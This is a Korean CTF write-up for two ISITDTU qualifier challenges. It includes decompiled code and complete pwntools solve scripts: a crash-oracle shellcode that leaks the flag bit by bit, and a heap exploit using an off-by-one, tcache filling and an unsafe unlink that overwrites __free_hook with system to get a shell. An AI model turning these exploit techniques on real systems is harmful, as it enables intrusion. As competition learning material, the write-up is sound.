ISITDTU CTF


ISITDTU CTF Quals에서 4등해서 본선 진출권을 획득했다.
그 김에 라업을 써야겠다.
내가 대회에서 푼 거 + 풀었는데, 이미 팀원이 푼 거

BabyShellcode


void __fastcall main()
{
  unsigned __int8 *dest; // [rsp+0h] [rbp-10h]

  dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( dest == -1LL )
  {
    perror("Could not mmap");
  }
  else
  {
    set_buf();
    memcpy(dest, &unk_202020, 0x27uLL);
    read_buf(dest + 39, 0x46u);
    seccomptools();
    (dest)(dest + 39, 0x46LL);
  }
}

메인 함수가 이렇게 작성 돼 있는데, 내가 적은 0x46 바이트의 쉘코드를 실행시켜준다.

근데 이전에 모든 레지스터를 초기화해준다.

그리고 init_array부분을 보면 0xcafe000부분에 플래그를 담고 /dev/urandom에서 뽑아온 값을 8바이트씩 xor하는 쉘코드를 실행시켜준다.

그런데 딱 플래그 포맷 ISITDTU{가 8바이트라서 urandom 값을 가져올 수 있다.

그 점과 Error based shellcode를 이용해서 flag를 1비트씩 뽑아오면 된다.

solve.py

from pwn import *
import time
# urandom : 0xcafe050
# flag : 0xcafe000

flag = 'ISITDTU{'
context(arch='amd64')
for i in range(8, 0x30):
    word = ''
    for j in range(7, -1, -1):
        shellcode = '''
            go:
            mov rax, 0xcafe000
            what:
            mov rax, [rax]  
            mov rbx, 0x7b55544454495349
            xor rax, rbx
            mov r9, rax ; r9 == urandom
            shr r9, %d
            mov rax, 0x%x ; rax == flag
            mov rax, [rax]
            xor rax, r9
            and rax, 0xff
            mov rdi, rax
            shr rdi, %d
            and rdi, 1
            test rdi, rdi
            jnz what
            jmp go
        ''' % ((i % 8) * 8, 0xcafe000 + i, j)

        p = remote('209.97.162.170', 2222)
        #p = process('./babyshellcode')
        print len(asm(shellcode))
        #pause()
        p.sendline(asm(shellcode))
        try:
            res = p.recvuntil('Seg', timeout=3)
            if 'Seg' in res:
                word += '1'
                print word
                p.close()
            else:
                word += '0'
                print word
                p.close()
        except:
            p.close()

    flag += chr(int(word, 2))
    print flag

FLAG : ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00000d}

iz_heap_lv2


이번 시텝 이지 힙류는 닉값했다.

ㄹㅇ 쉬운 문제였다.

환경은 18.04였고, 그냥 평범한 힙 문제처럼 메뉴에서 add, delete, view, edit메뉴 실행할 수 있다.

delete

void __cdecl delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  printf("Enter index: ");
  v0 = read_int();
  if ( v0 < 0 && v0 > 19 )
  {
    puts("Invalid index!");
    exit(0);
  }
  if ( !heap_arr[v0] )
  {
    puts("Not found!");
    exit(0);
  }
  free(heap_arr[v0]);
  heap_arr[v0] = 0LL;
  size_arr[v0] = -1LL;
}

read_buf

void __cdecl read_buf(char *a1, int a2)
{
  read(0, a1, a2);
  if ( a2 )
    a1[a2] = 0;
}

이 두 곳에서 취약점이 발생한다.

delete함수에서는 free된 힙을 초기화해주지 않는 취약점이 발생함.

read_buf함수에서는 buf[size]를 NULL로 만들어줘서 next chunk의 첫 바이트를 NULL로 만들어줄 수 있다.

마침 힙 주소도 bss에 저장되니 이 두 취약점을 잘 엮어서 unsafe unlink로 exploit하면 된다.

solve.py

from pwn import *

e = ELF('./iz_heap_lv2')
#p = process(e.path, env={'LD_PRELOAD':'./libc.so.6'})
#p = remote('165.22.110.249', 4444)
p = remote('165.22.110.249', 4444)
sla = p.sendlineafter
sa = p.sendafter

def add(size, buf):
    sla('Choice: ', '1')
    sla('size: ', str(size)) 
    sa('Enter data: ', buf)

def edit(idx, buf):
    sla('Choice: ', '2')
    sla('index: ', str(idx))
    sa('data: ', buf)

def free(idx):
    sla('Choice: ', '3')
    sla('index: ', str(idx))

def show(idx):
    sla('Choice: ', '4')
    sla('index: ', str(idx))

for i in range(8):
    add(0xf0, 'ipwn')
#0 ~ 7 index

add(0xf0, 'ipwn') #8
for i in range(8):
    free(i)

for i in range(7): #6
    add(0xf0, 'ipwn')

add(0xf0, 'A'*8) #7
show(7)
p.recvuntil('Data: ')
libc_base = u64((p.recvuntil('\n')[-7:])[:-1] + '\x00\x00') - 0x3ebca0
system = libc_base + 0x4f440
target = libc_base + 0x3ed8e8
unlink_target = 0x602088
log.info('libc_base : 0x%x'%libc_base)

fake_chunk = p64(0)*2
fake_chunk += p64(unlink_target - 0x18)
fake_chunk += p64(unlink_target - 0x10)

add(0xf8, fake_chunk.ljust(0xf0, '\x00') + p64(0xf0)) # 9
add(0xf0, 'ipwn') # 10
free(9)
add(0xf8, fake_chunk.ljust(0xf0, '\x00') + p64(0xf0)) #10

for i in range(8):
    free(i)

free(10)
edit(9, p64(0)*3 + p64(target))
edit(9, p64(system))

add(0x10, '/bin/sh') #0
free(0)
p.interactive()

FLAG : ISITDTU{TcAch3_C4ch3_F1LL1Ng_UnL1NKKKKKK_1Z_h34P_LvTw0}

후기


나머지도 이것저것 도와주고 같이 풀고 했지만 솔버를 손으로 짠 건 이거 두 개 뿐이라서 이것만 씀.

아 prison은 ICMP터널로 쏘고 머 하는 거라던데, 걍 Error based shellcoding으로 풀 수 있다.

나머지는 기억이 안남.

재밌었던 시텝이었다.